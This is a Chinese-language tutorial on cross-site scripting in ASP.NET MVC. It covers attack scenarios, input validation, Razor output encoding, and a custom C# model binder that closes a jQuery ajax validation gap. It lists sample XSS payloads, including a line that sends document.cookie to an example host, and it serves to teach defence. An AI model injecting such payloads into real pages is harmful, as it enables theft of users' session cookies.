Web安全相關（一）：跨站腳本攻擊（XSS）

時間 2019-11-18

標籤 web 安全相關腳本攻擊 xss 欄目 HTML 简体版

原文原文鏈接

簡介
　　跨站腳本攻擊(Cross Site Scripting)，爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼，當用戶瀏覽該頁之時，嵌入其中Web裏面的Script代碼會被執行，從而達到惡意攻擊用戶的特殊目的，好比獲取用戶的Cookie，導航到惡意網站，攜帶木馬等。html

一些場景jquery

　　1. 惡意攻擊者能夠在我的介紹裏面插入惡意代碼，那麼其餘用戶訪問他的我的信息時，就會執行惡意代碼。
　　2. 惡意攻擊者能夠發表一篇文章，取一個吸引眼球的標題，在內容裏插入惡意代碼，那麼用戶查看這篇文章時，就會執行惡意代碼。
　　3. 惡意攻擊者在一些熱門文章或帖子裏的回覆或留言中插入惡意代碼，那麼用戶瀏覽到他的回覆或留言時，就會執行惡意代碼。

防止XSS的兩個階段git

　　1. 提交數據時，就對數據進行驗證，若是含有惡意腳本，則不讓數據進庫，ASP.NET MVC默認是會作這個驗證。以下圖，若是試圖插入惡意腳本，就會獲得一個HttpRequestValidationException。注：圖2紅色框中的方法後續會提到。github

　　　　　　　　　　　　　　　　　　圖1ajax

　　　　　　　　　　　　　　　　　　圖2數據庫

　　若是咱們須要容許腳本入庫，能夠在對應的Action上加上[ValidateInput(false)]。此時惡意腳本還不能產生威脅，由於還有後面一個階段的防止措施。json

　　　　　　　　　　　　　　　　　　圖3cookie

　　　　　　　　　　　　　　　　　圖4app

2. 輸出數據時，對輸出的內容採用HTML編碼，惡意腳本不會被執行。並且，MVC的Razor語法默認就採用HTML編碼。可是若是咱們採用Html.Raw()來輸出內容的話，惡意腳本就會產生威脅。ide

　　　　　　　　　　　　　　　　　圖5

　　　　　　　　　　　　　　　　　圖6

一些惡意腳本

　　1. 簡單的彈窗或者內容顯示。
　　<script>alert('你被黑了！')</script>

　　2. 導航到惡意網站。注：這裏只是使用百度網站做爲導航演示，並非說百度網站是惡意網站。
　 <script>window.location.href='http://www.baidu.com';</script>

　　3. 獲取cookies。
　　<script>alert(document.cookie)</script>
　　<script>window.location.href='http://www.example.com?cookies=document.cookie';</script>

$.ajax數據驗證失效？

　　咱們假設咱們的需求是不容許含有惡意腳本的數據進庫的，可是咱們使用了jquey的ajax進行交互。

　　　　　　　　　　　　　　　　圖7

　　　　　　　　　　　　　　　　圖8

　　　　　　　　　　　　　　　　圖9

　　　　　　　　　　　　　　圖10

　　數據仍是進庫，爲何呢？咱們來研究下圖2紅框中的方法。

　　　　　　　　　　　　　　　　圖11

　　　　　　　　　　　　　　　　圖12

　　從圖12中，我猜想MVC會對Request中的以上內容進行驗證，但是jquery ajax的數據是存在Request的Content裏面的，所以，默認的驗證對jquery ajax並無效果。

$.ajax數據驗證明現

　　要對$.ajax進行數據驗證，我從ModelBinder下手。具體代碼以下：

 1 public class AjaxModelBinder : DefaultModelBinder  2  {  3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)  4  {  5             var contentType = controllerContext.HttpContext.Request.ContentType;  6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10  bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled) 11  { 12                 if (IsDangerousString(value.ToString())) 13  { 14                     throw new HttpRequestValidationException("在請求中檢測到有潛在危險的值！"); 15  } 16  } 17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value); 19  } 20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString". 23         /// </summary>
24         private static bool IsDangerousString(string str) 25  { 26             var startingChars = new[] { '<', '&' }; 27             var startIndex = 0; 28 
29             while (true) 30  { 31                 var index = str.IndexOfAny(startingChars, startIndex); 32 
33                 if (index < 0) 34  { 35                     return false; 36  } 37 
38                 if (index == (str.Length - 1)) 39  { 40                     return false; 41  } 42 
43                 var ch = str[index]; 44 
45                 if (ch != '&') 46  { 47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?')))) 48  { 49                         return true; 50  } 51  } 52 
53                 else if (str[index + 1] == '#') 54  { 55                     return true; 56  } 57 
58                 startIndex = index + 1; 59  } 60  } 61 
62         private static bool IsAtoZ(char c) 63  { 64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z'))); 65  } 66     }